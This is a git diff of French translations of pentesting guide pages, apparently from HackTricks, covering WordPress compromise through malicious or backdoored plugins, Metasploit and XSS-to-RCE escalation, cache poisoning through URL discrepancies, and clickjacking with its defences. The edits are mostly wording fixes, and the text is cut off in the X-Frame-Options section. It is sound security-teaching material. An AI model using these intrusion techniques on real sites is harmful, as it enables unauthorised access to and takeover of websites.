- Téléchargez le fichier zip du plugin téléchargé.
3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
4. **Exploitation** :
@@ -307,15 +307,15 @@ Cette méthode implique l'installation d'un plugin malveillant connu pour être
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
-Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation des vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une autorisation explicite.
+Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec autorisation explicite.
**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
-## De XSS à RCE
+## From XSS to RCE
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
- _**Escalade de privilèges :**_ Crée un utilisateur dans WordPress.
-- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) sur WordPress.
+- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
- _**(RCE) Édition de plugin intégré :**_ Éditez des plugins intégrés dans WordPress.
- _**(RCE) Édition de thème intégré :**_ Éditez des thèmes intégrés dans WordPress.
- _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
@@ -334,9 +334,9 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
### Surface d'Attaque
-Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans sa fonctionnalité. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**cet article de blog**](https://nowotarski.info/wordpress-nonce-authorization/).
+Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez découvrir comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**cet article de blog**](https://nowotarski.info/wordpress-nonce-authorization/).
-- **`wp_ajax`**
+- **`wp_ajax`**
L'une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci pourraient contenir des bogues de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que **tout utilisateur authentifié dans l'instance Wordpress pourrait avoir** (indépendamment de son rôle).
@@ -368,7 +368,7 @@ Le `permission_callback` est un rappel à une fonction qui vérifie si un utilis
- **Accès direct au fichier php**
-Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
+Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
## Protection WordPress
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index d163d3bc3..dc6cb6353 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
-Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des divergences entre les proxies de cache et les serveurs web.**
+Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des différences entre les proxies de cache et les serveurs web.**
> [!NOTE]
-> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le véritable chemin qui chargera une page dynamique (qui pourrait contenir des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
+> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le chemin réel qui chargera une page dynamique (qui pourrait stocker des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
## Delimiters
@@ -29,7 +29,7 @@ D'autres délimiteurs spécifiques peuvent être trouvés en suivant ce processu
### **Encodings**
-Différents serveurs HTTP et proxies comme Nginx, Node et CloudFront décodent les délimiteurs différemment, ce qui entraîne des incohérences entre les CDN et les serveurs d'origine qui pourraient être exploitées. Par exemple, si le serveur web effectue cette transformation `/myAccount%3Fparam` → `/myAccount?param` mais que le serveur de cache conserve comme clé le chemin `/myAccount%3Fparam`, il y a une incohérence.
+Différents serveurs HTTP et proxies comme Nginx, Node et CloudFront décodent les délimiteurs différemment, ce qui entraîne des incohérences entre les CDN et les serveurs d'origine qui pourraient être exploitées. Par exemple, si le serveur web effectue cette transformation `/myAccount%3Fparam` → `/myAccount?param` mais que le serveur de cache conserve comme clé le chemin `/myAccount%3Fparam`, il y a une incohérence.
Une façon de vérifier ces incohérences est d'envoyer des requêtes URL en encodant différents caractères après avoir chargé le chemin sans aucun encodage et de vérifier si la réponse du chemin encodé provient de la réponse mise en cache.
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 78eaad0fe..1c06e382c 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -4,13 +4,13 @@
## Qu'est-ce que le Clickjacking
-Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits.
+Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.
### Astuce de préremplissage de formulaires
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
-### Remplir le formulaire avec Drag\&Drop
+### Remplir un formulaire avec Drag\&Drop
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
@@ -91,8 +91,8 @@ background: #F00;
Si vous avez identifié une **attaque XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez en abuser pour tromper l'utilisateur en lui faisant cliquer sur le bouton/lien.\
Exemple :\
-_You avez trouvé un **self XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET._\
-\_\_Un attaquant pourrait préparer une **attaque Clickjacking** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
+Vous avez trouvé un **self XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET.\
+Un attaquant pourrait préparer une **attaque Clickjacking** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
## Stratégies pour atténuer le Clickjacking
@@ -115,13 +115,13 @@ id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts">
```
-Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires comme `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider les autorisations à accorder.
+Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires comme `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider sur les autorisations à accorder.
### Défenses côté serveur
#### X-Frame-Options
-L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la légitimité de rendre une page dans un `` ou `